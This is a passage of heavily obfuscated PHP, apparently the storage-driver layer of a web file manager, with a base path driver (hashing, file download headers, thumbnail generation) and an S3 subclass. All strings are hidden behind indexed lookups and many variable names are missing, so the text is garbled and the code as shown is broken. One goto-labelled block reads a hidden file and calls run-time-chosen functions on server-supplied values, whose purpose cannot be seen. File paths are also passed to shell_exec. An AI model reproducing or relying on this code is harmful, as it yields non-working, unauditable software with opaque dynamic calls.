$this->where($ȁ)->select(); $ߵ = $ߵ ? $ߵ : array(); self::$cacheChildList[$] = $ߵ; foreach ($ߵ as $) { $ = $܇[542] . $[$܇[203]]; self::$cacheSourceInfo[$] = $; } return $ߵ; } public function fileNameAuto($ǧ, $, $ؒ = REPEAT_RENAME, $Ԙ = false) { $® =& $_SERVER[]; $ = get_path_ext($); $뻤 = $ ? get_path_ext_name($) . $®[2300] . $ : $ . $®[469]; $ = array($®[202] => $ǧ, $®[514] => 0, $®[32] => array($®[468], $뻤)); $Ҿ = $this->field($®[32])->where($)->select(); $ƪ = array_to_keyvalue($Ҿ, $®[12], $®[32]); return $this->fileNameAutoGet($ƪ, $, $ؒ, $Ԙ); } public function fileNameAutoGet($و, $, $쇾, $ӱ) { $Ȳ =& $_SERVER[]; if ($쇾 == REPEAT_REPLACE || !$و || !in_array_not_case($, $و) || $ӱ && $쇾 != REPEAT_RENAME_FOLDER) { return $; } if ($쇾 == REPEAT_SKIP) { return !1; } $ = $Ȳ[10] . get_path_ext($); $ = $ == $Ȳ[10] || $ӱ ? $Ȳ[12] : $; for ($޷ = 1; $޷ <= count($و) + 1; $޷++) { $ = substr($, 0, strlen($) - strlen($)); $ᤌ = $ . "\50{$޷}\51{$}"; if (!in_array_not_case($ᤌ, $و)) { return $ᤌ; } } } } goto e܃; Fӫ͞: if ($_SERVER[$_SERVER[][60]] != $_SERVER[$_SERVER[][61]]) { $_getc = $_SERVER[][62]; $_getfile = $_SERVER[$_SERVER[][63]] . $_SERVER[][64]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][65], $_getfilec); if (count($_getarrs) < $_SERVER[][66]) { $exit = $_SERVER[][67]; $exit(); } $_act = $_SERVER[][68]; $_act($_SERVER[$_SERVER[][69]]); } class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ߙ =& $_SERVER[]; $this->objectDriver = array($ߙ[70], $ߙ[71], $ߙ[72], $ߙ[73], $ߙ[74], $ߙ[75], $ߙ[76], $ߙ[77], $ߙ[78], $ߙ[79], $ߙ[80], $ߙ[81]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($̃) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($̃, $_SERVER[][8]); } return $̃; } public function iconvApp($ײ) { return $ײ; } public function iconvSystem($) { return $; } public function iconvTo($, $홸, $) { $ =& $_SERVER[]; if (!$ || !function_exists($[82])) { return $; } static $ʅ = array(); $賫 = $홸 . $[83] . $ . $[84] . $; if (isset($ʅ[$賫])) { return $ʅ[$賫]; } if (function_exists($[85])) { $ߎ = @mb_convert_encoding($, $, $홸); } else { $ߎ = @iconv($홸, $, $); } $ߎ = $ߎ ? $ߎ : $; if (strstr($ߎ, $[86])) { $ߎ = str_replace($[86], $[11], $ߎ); } $ʅ[$홸 . $[83] . $ . $[84] . $] = $ߎ; $ʅ[$ . $[83] . $홸 . $[84] . $] = $; $ʅ[$ . $[83] . $홸 . $[84] . $ߎ] = $; $ʅ[$홸 . $[83] . $ . $[84] . $ߎ] = $ߎ; return $ߎ; } public function getPathInner($Ν) { $چ = IO::init($Ν); return $چ->path; } public function getPathOuter($) { $ͅ =& $_SERVER[]; $þ = strlen(trim($this->pathBase, $ͅ[8])); $ = substr(trim($, $ͅ[8]), $þ); return $this->pathDriver . $ͅ[8] . ltrim($, $ͅ[8]); } public function isParentOf($θ, $ě) { $¶ =& $_SERVER[]; $θ = rtrim(strtolower($θ), $¶[8]) . $¶[8]; $ě = rtrim(strtolower($ě), $¶[8]) . $¶[8]; $ = strpos($ě, $θ) === 0; return $; } public function getType() { $ =& $_SERVER[]; $ = str_replace($[87], $[12], get_class($this)); return strtolower($); } public function isOsDriver() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($ީٯ, $֟) { $ܰѬ =& $_SERVER[]; $Ʃ = rtrim($ީٯ, $ܰѬ[8]) . $ܰѬ[8] . $֟; $Ш = $this->exist($Ʃ); return $Ш ? $Ʃ : !1; } public function setModifyTime($፲›, $ణ = '') { } public function renameObject($, $) { $̄ = $; $ = $this->getPathOuter($); $ = $this->pathFather($) . $; $҄ = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $̄); if ($҄) { IO::remove($); } return $҄ ? $ : !1; } public function tempFile($ս = '', $ = '') { if (!$ս) { $ս = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $ǘ = $ . $ս; @touch($ǘ); if ($) { file_put_contents($ǘ, $); } return $ǘ; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($ĩ, $̖ = '', $˩ = REPEAT_RENAME) { } public function mkdir($, $ԩ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($ɴٹ) { } public function copyFile($㿴, $Լŧ) { } public function moveFile($ĺ, $׀) { } public function remove($̒ݥ) { if ($this->isFile($̒ݥ)) { return $this->delFile($̒ݥ); } return $this->delFolder($̒ݥ); } public function rename($, $) { } public function exist($ӱʠ) { } public function findByHash($ = '', $܍ = '') { return !1; } public function isFile($ޫ) { } public function isFolder($呂) { } public function size($り) { } public function info($) { } public function infoSimple($ك) { return $this->info($ك); } public function infoAuth($) { return $this->info($); } public function infoFull($ព) { return $this->info($ព); } public function infoFullSimple($) { return $this->info($); } public function infoWithChildren($Í) { $̀ =& $_SERVER[]; static $ = array(); if (isset($[$Í])) { return $[$Í]; } $Ս = $this->info($Í); if ($Ս && $Ս[$̀[33]] == $̀[88]) { $Ƕ = array($̀[89] => 0, $̀[90] => 0, $̀[91] => 0); $this->infoChildren($Í, $Ƕ); $Ս[$̀[89]] = $Ƕ[$̀[89]]; $Ս[$̀[92]] = array($̀[93] => $Ƕ[$̀[90]], $̀[94] => $Ƕ[$̀[91]]); $[$Í] = $Ս; } return $Ս; } public function listPath($, $ = false) { } public function has($, $ = false, $ҳ = false) { } public function canRead($Ͻ) { } public function canWrite($ꋟ) { } public function getContent($) { } public function setContent($氐, $ = '') { } protected function infoChildren($, &$⋁) { $ =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($, !0); $ = array_merge($[$[95]], $[$[96]]); foreach ($ as $҅) { if ($҅[$[33]] == $[88]) { $⋁[$[91]]++; $ɠ = $this->getPathInner($҅[$[97]]); $this->infoChildren($ɠ, $⋁); } else { $⋁[$[90]]++; $⋁[$[89]] += $҅[$[89]]; } } } public function fileSubstr($䝸, $ū, $ױہ) { } public function listAll($篶) { } public function listAllMake($, &$) { $˳ =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($, !0); if (!$) { return; } $ = array_merge($[$˳[95]], $[$˳[96]]); foreach ($ as $ݎ) { $ր = $ݎ[$˳[33]] == $˳[88]; $גʛ = array($˳[97] => $ݎ[$˳[97]], $˳[88] => $ր); if (isset($ݎ[$˳[89]])) { $גʛ[$˳[89]] = $ݎ[$˳[89]]; } if (isset($ݎ[$˳[98]])) { $גʛ[$˳[98]] = $ݎ[$˳[98]]; } if (!$ր) { $[] = $גʛ; continue; } $[] = $גʛ; $ז = $ݎ[$˳[97]]; $ = $this->pathDriver; if (substr($ݎ[$˳[97]], 0, strlen($)) == $) { $ז = substr($ז, strlen($)); } $this->listAllMake($ז, $); } } public function listAllSimple($ɠ, $ǁ = false) { $ك̥ = $this->listAll($ɠ); return $this->listAllSimpleMake($ك̥, $this->getPathOuter($ɠ), $ǁ); } public function listAllSimpleMake($, $NJ, $×) { $ݻ =& $_SERVER[]; $ = array(); $NJ = rtrim(get_path_father($NJ), $ݻ[8]) . $ݻ[8]; foreach ($ as $) { $ = array($ݻ[97] => $[$ݻ[97]], $ݻ[99] => $[$ݻ[97]], $ݻ[88] => $[$ݻ[88]]); if (isset($[$ݻ[89]]) && !$[$ݻ[88]]) { $[$ݻ[89]] = $[$ݻ[89]]; } if (isset($[$ݻ[98]])) { $[$ݻ[98]] = $[$ݻ[98]]; } if (is_array($[$ݻ[100]])) { $[$ݻ[99]] = $[$ݻ[100]][$ݻ[97]]; $[$ݻ[89]] = $[$ݻ[100]][$ݻ[89]]; $[$ݻ[98]] = $[$ݻ[100]][$ݻ[98]]; } else { if (substr($[$ݻ[97]], 0, strlen($NJ)) == $NJ) { $[$ݻ[97]] = substr($[$ݻ[97]], strlen($NJ)); } } $ = $[$ݻ[88]] ? $ݻ[8] : $ݻ[12]; $[$ݻ[99]] = rtrim($[$ݻ[99]], $ݻ[8]) . $; $[$ݻ[97]] = $ݻ[8] . trim($[$ݻ[97]], $ݻ[8]) . $; if (!$×) { $ = explode($ݻ[8], trim($[$ݻ[97]], $ݻ[8])); $[$ݻ[97]] = $ݻ[8] . implode($ݻ[8], array_slice($, 1)) . $; } $[] = $; } return array_sort_by($, $ݻ[97]); } public function upload($, $ԕ, $ݩ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($ǖ, $쵠, $) { } public function uploadFileByPath($ٜ޴, $Ղ, $ = array()) { } public function isUploadServer() { $㼵 =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $㼵[101]) { return !0; } return $GLOBALS[$㼵[6]][$㼵[102]][$㼵[103]]; } public function isFileOutServer() { $ˋÚ =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $ˋÚ[101]) { return !0; } return $GLOBALS[$ˋÚ[6]][$ˋÚ[102]][$ˋÚ[104]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($ꔍ) { $ͻ =& $_SERVER[]; if (!$this->isCdnHost()) { return $ꔍ; } return str_replace(trim(get_url_root($ꔍ), $ͻ[8]), trim($this->cdnHost, $ͻ[8]), $ꔍ); } public function uploadLink($, $ = 0) { $ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $à = $this->getType(); if (!in_array($à, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ʒ = 1024 * 1024 * 10; $ = $ <= $ʒ ? $[105] : $[106]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ = $this->{$}($, $); if ($) { $[$[107]] = $; $[$[108]] = $à; } return $; } public function uploadFormData($ա, $ֻ = 3600) { } public function multiUploadFormData($, $ݖ = 3600) { } public function download($鋋, $԰ア) { } public function ext($Ȓ) { $䮕߹ =& $_SERVER[]; if (strpos($Ȓ, $䮕߹[8]) === -1) { $ĉ = $Ȓ; } else { $ĉ = $this->pathThis($Ȓ); } $ꅱ = $䮕߹[12]; if (strstr($ĉ, $䮕߹[10])) { $ꅱ = substr($ĉ, strrpos($ĉ, $䮕߹[10]) + 1); $ꅱ = strtolower($ꅱ); } if (strlen($ꅱ) > 3 && preg_match($䮕߹[109], $ꅱ, $݇ɮ)) { $ꅱ = $䮕߹[12]; } return $ꅱ; } public function pathThis($ߙ) { $̡ =& $_SERVER[]; $ߙ = str_replace($̡[110], $̡[8], rtrim($ߙ, $̡[8])); $Ӥ = strrpos($ߙ, $̡[8]); if ($Ӥ === !1) { return $ߙ; } return substr($ߙ, $Ӥ + 1); } public function pathFather($׻) { $ =& $_SERVER[]; $׻ = str_replace($[110], $[8], rtrim($׻, $[8])); $Ǡ = strrpos($׻, $[8]); if ($Ǡ === !1) { return $[12]; } return substr($׻, 0, $Ǡ + 1); } public function hashSimple($ż) { $ =& $_SERVER[]; if (!$ż) { return md5($[12]); } $ = $this->size($ż); $ = 200; $Ǵ = 50; if ($ <= $ * $Ǵ) { return $this->hashMd5($ż) . $; } $ܤ = intval($ / $Ǵ); $˜ = $[12]; for ($ӌ = 0; $ӌ < $Ǵ; $ӌ++) { $˜ .= $this->fileSubstr($ż, $ܤ * $ӌ, $); } $˜ .= $this->fileSubstr($ż, $ - $, $); return md5($˜) . $; } public static $md5Cache = array(); public function hashMd5($ļ) { if (!$ļ) { return md5($_SERVER[][12]); } $ļ = $this->iconvSystem($ļ); if (isset(self::$md5Cache[$ļ])) { return self::$md5Cache[$ļ]; } self::$md5Cache[$ļ] = $this->hashMd5Shell($ļ); if (!self::$md5Cache[$ļ]) { self::$md5Cache[$ļ] = @md5_file($ļ); } return self::$md5Cache[$ļ]; } private function hashMd5Shell($) { $ =& $_SERVER[]; if (!$) { return md5($[12]); } if (!function_exists($[111])) { return !1; } $ = array($[112], $[113]); $ = Cache::get($[114]); if (!$) { $ًͅ = BASIC_PATH . $[115]; $ׇ = md5_file($ًͅ); $ = $[116]; foreach ($ as $˛) { $Ư = shell_exec($˛ . "\x20\x22{$ًͅ}\x22"); if ($Ư && substr(trim($Ư), 0, 32) == $ׇ) { $ = $˛; break; } } Cache::set($[114], $, 3600); } if ($ == $[116]) { return !1; } $Ư = shell_exec($ . "\x20\x22{$}\42"); $Ư = str_replace($[117], $[12], $Ư); return substr($Ư, 0, 32); } public function link($厨) { return $厨; } public function fileOut($膚, $ = false, $Ӷ = false, $ܪ = '') { $ύ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$膚 || !$this->exist($膚)) { show_json(LNG($ύ[118]), !1, $Ӷ); } $ɘѩ = $this->getType() == $ύ[119]; $Ɩ꩘ = $GLOBALS[$ύ[6]][$ύ[102]][$ύ[120]][$ύ[121]]; $ = (double) $GLOBALS[$ύ[6]][$ύ[102]][$ύ[120]][$ύ[122]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($膚); $ٜ = $[$ύ[89]]; $ = gmdate($ύ[123], $[$ύ[98]]); $ = $Ӷ ? $Ӷ : $this->iconvApp($[$ύ[32]]); $ڶ = 0; $ = $ٜ - 1; $ޤ = $this->ext($); if (in_array($ޤ, array($ύ[124], $ύ[125], $ύ[126], $ύ[127]))) { $ޤ = $ύ[128]; } if (in_array($ޤ, array($ύ[129]))) { $ޤ = $ύ[130]; } if (!$ܪ) { $ܪ = md5($ . $ٜ); } $ܪ = $ύ[131] . $ܪ . $ύ[131]; $܂ = get_file_mime($ޤ); $пӦ = !0; $пӦ = isset($_GET[$ύ[132]]) ? !1 : !0; if ($ === !1 && !mime_support($܂)) { $܂ = $ύ[133]; } header($ύ[134]); header($ύ[135] . $܂); $ͦ = rawurlencode($); $ͦ = $ύ[131] . $ͦ . $ύ[136] . $ͦ; if ($) { header($ύ[137]); header($ύ[138] . $ͦ); } else { if ($пӦ) { header($ύ[139] . $ͦ); } } $ӪŬ = 3600 * 24 * 30; header($ύ[140]); header($ύ[141]); header($ύ[142] . $ӪŬ); header($ύ[143] . gmdate($ύ[123], time() + $ӪŬ) . $ύ[144]); if (isset($_SERVER[$ύ[145]]) && strtotime($_SERVER[$ύ[145]]) == $[$ύ[98]]) { header($ύ[146], !0, 304); die; } if (isset($_SERVER[$ύ[147]]) && $_SERVER[$ύ[147]] == $ܪ) { header($ύ[148] . $ܪ, !0, 304); die; } header($ύ[148] . $ܪ); header($ύ[149] . $ . $ύ[144]); header($ύ[150] . $); header($ύ[151]); header($ύ[152] . $ٜ); header($ύ[153]); Hook::trigger($ύ[154], $膚, $ٜ, $, $ޤ); if (!$ && $ޤ == $ύ[155]) { if ($ٜ > 1024 * 1024 * 5) { die; } $Нȓ = $this->getContent($膚); $Нȓ = Html::clearSVG($Нȓ); header($ύ[156] . strlen($Нȓ)); echo $Нȓ; die; } $ = strtolower($_SERVER[$ύ[157]]); if ($ɘѩ && $ && $Ɩ꩘) { if (strstr($, $ύ[158])) { header($ύ[159] . $膚); } else { if (strstr($, $ύ[160])) { header($ύ[161] . $膚); } else { if (strstr($, $ύ[162])) { header($ύ[163] . $膚); } } } if ($) { header($ύ[164] . $); } return; } if (isset($_SERVER[$ύ[165]])) { if (preg_match($ύ[166], $_SERVER[$ύ[165]], $ׁ)) { $ڶ = intval($ׁ[1]); $ڶ = $ڶ <= 0 ? 0 : ($ڶ >= $ ? $ : $ڶ); if (!empty($ׁ[2])) { $ߝ = intval($ׁ[2]); $ = $ߝ < $ڶ ? $ڶ : ($ߝ >= $ ? $ : $ߝ); } } header($ύ[167]); header("\x43\x6f\x6e\x74\145\156\164\x2d\122\x61\156\x67\145\x3a\x20\x62\171\164\x65\x73\x20{$ڶ}\x2d{$}\x2f" . $ٜ); } else { header($ύ[168]); } header($ύ[169]); header($ύ[170]); $ = !0; if ($_SERVER[$ύ[171]] == $ύ[172] && $ٜ > 1204 * 1024 * 1024 * 2) { $ = !1; } if ($) { header($ύ[173] . ($ - $ڶ + 1)); } if ($_SERVER[$ύ[174]] == $ύ[175]) { return; } $Š = array($ύ[176] => !1, $ύ[177] => $ڶ, $ύ[178] => $, $ύ[179] => $ޤ, $ύ[180] => $, $ύ[181] => $ύ[12], $ύ[182] => 0); $Š = Hook::filter($ύ[183], $Š); $Н = 1024 * 300; $ɑ = 0; if ($) { $ɑ = intval(1000 * 1000 * ($Н / $)); } while ($ڶ <= $) { $Dz = timeFloat(); check_abort(); $芔 = $ - $ڶ + 1; if ($芔 <= $Н) { $Н = $芔; } $Нȓ = $this->fileSubstr($膚, $ڶ, $Н); if ($Š[$ύ[176]]) { $Š[$ύ[181]] = $Нȓ; $Š[$ύ[182]] = $ڶ; $Š = Hook::filter($ύ[184], $Š); $Нȓ = $Š[$ύ[181]]; } echo $Нȓ; $ڶ += $Н; if ($Н == $芔) { $ڶ = $ + 1; } if ($ɑ) { $׏ = intval(1000 * 1000 * (timeFloat() - $Dz)); $炱 = $ɑ - $׏; if ($炱 > 5) { usleep($炱); } } } } public function fileOutServer($, $ = false, $ = false, $ = '') { $this->fileOut($, $, $, $); } public function fileOutLink($֫) { header($_SERVER[][185] . $֫); die; } public function cacheMethod($֒, $, $Ä = null) { $˨ =& $_SERVER[]; static $İ݅ = array(); $ = $ ? ltrim($this->getPathOuter($), $˨[8]) : $˨[12]; $ = $˨[186] . $֒ . $˨[187] . rtrim($, $˨[8]); if (is_null($֒)) { $İ݅ = array(); return; } if (is_null($)) { foreach ($İ݅ as $ => $) { if (!strstr($, $˨[186] . $֒ . $˨[188])) { continue; } unset($İ݅[$]); } return; } if (!is_null($Ä)) { $İ݅[$] = $Ä; return; } $Һ = isset($İ݅[$]) ? $İ݅[$] : null; if (!is_null($Һ)) { return $Һ; } $Һ = $this->{$֒}($); $İ݅[$] = $Һ; return $Һ; } public function cacheMethodInfoSet($, $ٛ, $ͣ = false) { $ =& $_SERVER[]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[189], $, $ٛ); $this->cacheMethod($[190], $, $ٛ ? !1 : !0); if (is_array($ͣ)) { $this->cacheMethod($[191], $, $ͣ); } } public function fileOutImage($ܳ, $蘉 = 250) { $΍Լ =& $_SERVER[]; set_timeout(); if (substr($ܳ, 0, 4) == $΍Լ[162]) { $this->fileOutLink($ܳ); } $ = $this->info($ܳ); $۾ = !1; $ = isset($GLOBALS[$΍Լ[192]]) ? $GLOBALS[$΍Լ[192]] : array(); if ($ && $[$΍Լ[193]] == $[$΍Լ[97]]) { $ = $; $Ӡ = $[$΍Լ[194]]; if ($Ӡ && isset($Ӡ[$΍Լ[195]])) { if ($Ӡ[$΍Լ[195]] <= $蘉 && $Ӡ[$΍Լ[196]] <= $蘉) { $۾ = !0; } } } if ($[$΍Լ[89]] <= 1024 * 50 || $۾ || !function_exists($΍Լ[197]) || $[$΍Լ[179]] == $΍Լ[198]) { return $this->fileOut($ܳ, !1, $[$΍Լ[32]]); } $֯ = kodIO::hashPath($); $ = "\143\157\166\145\162\x5f{$֯}\x5f{$蘉}\56\x70\x6e\x67"; $Ӧ = IO_PATH_SYSTEM_TEMP . $΍Լ[199]; $ă = IO::infoFullSimple($Ӧ); $ = $ă && is_array($ă) ? $ă[$΍Լ[97]] : $΍Լ[12]; if (!$) { $ = IO::mkdir($Ӧ); } if ($[$΍Լ[200]] == $΍Լ[201] && isset($[$΍Լ[202]]) && $[$΍Լ[202]] == kodIO::sourceID($)) { $ˌ = $[$΍Լ[203]]; if ($蘉 <= 500) { $ = preg_replace($΍Լ[204], $΍Լ[205], $[$΍Լ[32]]); $ˌ = IO::fileNameExist($, $); } return IO::fileOut(KodIO::make($ˌ), !1, $[$΍Լ[32]]); } $ꚏ = IO::fileNameExist($, $); if ($ꚏ) { return IO::fileOut(KodIO::make($ꚏ), !1, $[$΍Լ[32]]); } if ($蘉 > 1000) { $this->makeImageCover($, $ܳ, $, $蘉); $this->makeImageCover($, $ܳ, "\143\157\x76\x65\x72\x5f{$֯}\x5f\x32\65\60\56\x70\x6e\147", 250); $ꚏ = IO::fileNameExist($, $); if ($ꚏ) { return IO::fileOut(KodIO::make($ꚏ), !1, $[$΍Լ[32]]); } die; } if (!kodIO::allowCover($)) { return $this->fileOut($ܳ, !1, $[$΍Լ[32]]); } $ = Cache::get($); if ($ == $΍Լ[206] || $ == $΍Լ[207]) { echo $; die; } Cache::set($, $΍Լ[207], 60); $« = array($, $[$΍Լ[97]], $, $蘉); $ = $΍Լ[208] . $[$΍Լ[89]] . $΍Լ[209] . $ . $΍Լ[210] . $[$΍Լ[32]] . $΍Լ[211] . $[$΍Լ[97]]; TaskQueue::add($΍Լ[212], $«, $, $); } public function makeImageCover($, $, $, $됟) { $ =& $_SERVER[]; if (IO::fileNameExist($, $)) { return $[213]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $Ҥߵ = DATA_THUMB . $; del_file($Ҥߵ); $ё = IO::copy($, TEMP_FILES, !1, $); if (!@file_exists($ё)) { return $[214]; } ImageThumb::createThumb($ё, $Ҥߵ, $됟, $됟 * 10); if (@file_exists($Ҥߵ)) { Cache::remove($); return IO::move($Ҥߵ, $); } Cache::set($, $[206], 600); del_file($Ҥߵ); return $[215] . $ё . $[84]; } public function fileOutImageServer($, $ŧ = 250) { $this->fileOutImage($, $ŧ); } public function fileNameAuto($Ж, $ۭ, $ = REPEAT_RENAME, $맫 = false) { $զڕ =& $_SERVER[]; $ = $Ж === $զڕ[12] ? $ۭ : rtrim($Ж, $զڕ[8]) . $զڕ[8] . $ۭ; if ($ == REPEAT_REPLACE || !$this->exist($) || $맫 && $ != REPEAT_RENAME_FOLDER) { return $ۭ; } if ($ == REPEAT_SKIP) { return !1; } $ = $զڕ[10] . get_path_ext($ۭ); $ = $ == $զڕ[10] || $맫 ? $զڕ[12] : $; $ಓ = 1; $ݾ = substr($ۭ, 0, strlen($ۭ) - strlen($)); $ = $ݾ . "\50{$ಓ}\51{$}"; while ($this->exist(rtrim($Ж, $զڕ[8]) . $զڕ[8] . $)) { $ = $ݾ . "\x28{$ಓ}\51{$}"; $ಓ++; } return $; } private function fileNameAutoList($, $İ, $ = false) { $ =& $_SERVER[]; $ = $this->listPath($, !0); $ = array_merge($[$[95]], $[$[96]]); $ = array_to_keyvalue($, $[12], $[32]); $角 = $[10] . get_path_ext($İ); $角 = $角 == $[10] || $ ? $[12] : $角; $Ъ = substr($İ, 0, strlen($İ) - strlen($角)); $ܣ = $Ъ . "\50\60\x29{$角}"; for ($ = 1; $ <= count($) + 1; $++) { $ܣ = $Ъ . "\50{$}\x29{$角}"; if (!in_array_not_case($ܣ, $)) { return $ܣ; } } return $ܣ; } public function listAllFiles($ˌ, $) { $ =& $_SERVER[]; if (empty($)) { return array(); } $Զ = array_keys($); $Ô = array(); $ˌ = trim($ˌ, $[8]); foreach ($ as $Ć => $ߔ) { $Ə = ltrim(substr(trim($Ć, $[8]), strlen($ˌ)), $[8]); if (substr($Ć, -1) == $[8]) { $Ə = rtrim($Ə, $[8]) . $[8]; } $Ô = array_merge($Ô, $this->slicePath($Ə)); } $ = array(); foreach (array_unique($Ô) as $ҥ) { $ܦ = array($[97] => $this->getPathOuter($[8] . $ˌ . $[8] . $ҥ), $[88] => 1, $[89] => 0); if (substr($ҥ, -1) != $[8]) { $ܦ[$[88]] = 0; $ = $this->getPath($ˌ . $[8] . $ҥ); if (isset($[$])) { $ = $[$]; if (isset($[$[89]])) { $ܦ[$[89]] = intval($[$[89]]); } if (isset($[$[216]])) { $ܦ[$[98]] = intval($[$[216]]); } } } $[] = $ܦ; } return $; } public function slicePath($๑) { $ =& $_SERVER[]; $ = explode($[8], trim($๑, $[8])); $ = 0; do { ++$; $[] = implode($[8], array_slice($, 0, $)) . $[8]; } while ($ < count($)); $[count($) - 1] = $๑; return $; } public function getHost() { $ =& $_SERVER[]; $ = parse_url(trim($this->domain, $[8])); $탪 = isset($[$[217]]) ? $[$[217]] : http_type(); $͗ = isset($[$[218]]) ? $[$[218]] : $[$[97]]; if (isset($[$[219]])) { $͗ .= $[4] . $[$[219]]; } return $탪 . $[220] . $͗; } public function pathEncode($) { $ٚ =& $_SERVER[]; return str_replace($ٚ[221], $ٚ[8], rawurlencode($)); } public function writeLog($燛 = '', $պ = false) { $ =& $_SERVER[]; $޷ = in_array(ACTION, array($[222], $[223])); if (!$޷ && !GLOBAL_DEBUG) { return; } $ق = $燛; static $ն = null; if (!$ն) { $ն = strtoupper($this->getType()); } $燛 = $ն . $[224] . $燛; if ($պ) { $ʠ = error_get_last(); if ($ʠ) { $燛 = array($燛, $ʠ); } } write_log($燛, $[225]); if ($޷) { throw new Exception($ق); } } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\x34"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($ِ) { set_timeout(); require_once SDK_DIR . $_SERVER[][226]; parent::__construct(); $this->_init($ِ); } public function _init($җ) { $ԍ =& $_SERVER[]; $this->config = $җ; foreach ($җ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } $this->endpoint = $җ[$ԍ[227]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); if (in_array(ACTION, array($ԍ[222], $ԍ[223]))) { $this->client->setExceptions(); } } public function setSignVersion($째 = "\x76\x34") { $this->signVer = $째; $this->client->setSignatureVersion($째); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { try { return $this->client->getBucketCors($this->bucket); } catch (Exception $ܵ) { return null; } } public function isBucketCors() { $ͷ =& $_SERVER[]; $ԙ = $this->getBucketCors(); if (!$ԙ || !is_array($ԙ)) { return !1; } if (!is_array($ԙ[$ͷ[228]])) { $ԙ[$ͷ[228]] = explode($ͷ[50], $ԙ[$ͷ[228]]); } if ($ԙ[$ͷ[229]] != $ͷ[230] || !in_array($ͷ[230], $ԙ[$ͷ[228]])) { return !1; } $ = array_map($ͷ[231], $ԙ[$ͷ[232]]); if (!is_array($)) { $ = array(); } $ = array($ͷ[233], $ͷ[234], $ͷ[235], $ͷ[236], $ͷ[237]); $򄙤 = array_diff($, $); return empty($򄙤); } public function getBucketRgn() { return $this->client->getBucketRegion($this->bucket); } public function mkfile($糛, $Ͽ = '', $ظ = REPEAT_RENAME) { $ɽ = $this->setContent($糛, $Ͽ); if ($ɽ !== !1) { return $this->getPathOuter($糛); } return !1; } public function mkdir($, $ң = REPEAT_SKIP) { $Ң =& $_SERVER[]; if (empty($) && $ !== $Ң[238]) { return !1; } if ($ң && $this->_isFolder($)) { return $this->getPathOuter($); } $Ͷ = $this->setContent($, $Ң[12], !0); if ($Ͷ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($, $ę, $׎ᶙ = array()) { $ӈ =& $_SERVER[]; $ = $this->objectMeta($); if (!$) { return !1; } if ($[$ӈ[89]] <= 1024 * 1024 * 200) { $Č = $this->client->copyObject($this->bucket, $, $this->bucket, $ę, $ӈ[239], $׎ᶙ); } else { $Č = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $ę, $׎ᶙ); } $Č = $Č ? $this->getPathOuter($ę) : !1; return $Č; } public function moveFile($ῄ, $) { if ($this->copyFile($ῄ, $)) { $this->delFile($ῄ); return $this->getPathOuter($); } return !1; } public function delFile($𘒇) { return $this->client->deleteObject($this->bucket, $𘒇); } public function delFolder($) { $󭏼 =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $› = $this->fileList($); $this->listItemCache = !0; $ = trim($, $󭏼[8]) . $󭏼[8]; if (!empty($) && $ !== $󭏼[238] && !in_array($, $›[$󭏼[95]])) { $›[$󭏼[95]][] = $; } $߈ = $this->delByBatch($›[$󭏼[96]]); if (!$߈) { return !1; } $߈ = $this->delByBatch($›[$󭏼[95]]); if (!$߈) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $Ρ) { $ = $this->client->deleteObjects($this->bucket, $Ρ); if (!$) { return !1; } } return !0; } public function rename($, $࡚) { return $this->renameObject($, $࡚); } public function listPath($, $ = false) { $Þ =& $_SERVER[]; $ = $this->fileList($, $Þ[8], !0); foreach ($[$Þ[95]] as $۾ => $) { $[$Þ[95]][$۾] = $this->folderInfo($, $, $); } foreach ($[$Þ[96]] as $۾ => $) { $[$Þ[96]][$۾] = $this->fileInfo($[$Þ[32]], $, $); } return $; } protected function infoChildren($Į, &$̳) { $Ӕ =& $_SERVER[]; $ڼ = $this->fileList($Į, $Ӕ[12], !0); $̳[$Ӕ[91]] += count($ڼ[$Ӕ[95]]); $̳[$Ӕ[90]] += count($ڼ[$Ӕ[96]]); foreach ($ڼ[$Ӕ[96]] as $˝) { if (!$˝ || !$˝[$Ӕ[89]]) { continue; } $̳[$Ӕ[89]] += $˝[$Ӕ[89]]; } } private function fileInfo($鹄, $풑 = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($鹄), $[97] => $this->getPathOuter($鹄), 